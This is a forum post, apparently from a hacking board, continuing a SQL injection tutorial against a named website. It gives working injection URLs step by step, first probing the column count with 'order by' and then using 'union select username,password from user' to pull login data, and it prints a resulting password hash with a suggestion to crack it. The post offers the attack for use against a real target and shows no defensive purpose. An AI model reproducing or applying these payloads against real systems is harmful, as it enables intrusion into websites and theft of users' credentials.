AlchemisT
Permanently Banned - , Newbie hacker password stea

- Messages
- 11,717
- Joined
- Feb 19, 2008
- Messages
- 11,717
- Reaction score
- 328
- Points
- 131
sambungan
for this we use the order command like this:-
http://www.religions.ir/cont.php?sid=1 order by 1
we didn't get any error
so give the next no 2
http://www.religions.ir/cont.php?sid=1 order by 2
we didn't get any error
so give he next no 3
http://www.religions.ir/cont.php?sid=1 order by 3
we find an error like this:-
Unknown column '3' in 'order clause'
so we understand that there are only 2 columns..![]()
sambungan lg hehehhehe
after finding the columns..we need to extract them
follow the link
http://www.religions.ir/cont.php?sid=-1 union all select 1,2
we get a tiny no 1 and 2
now it's predictable that 1 is username and 2 is password from the list of users
so try this command now
http://www.religions.ir/cont.php?sid=-1 union select username,password from user
we get the username and password as(dbac151aa5eb139b3b6ade74559b83f1) which can be cracked from this site.
HEHEEEEEE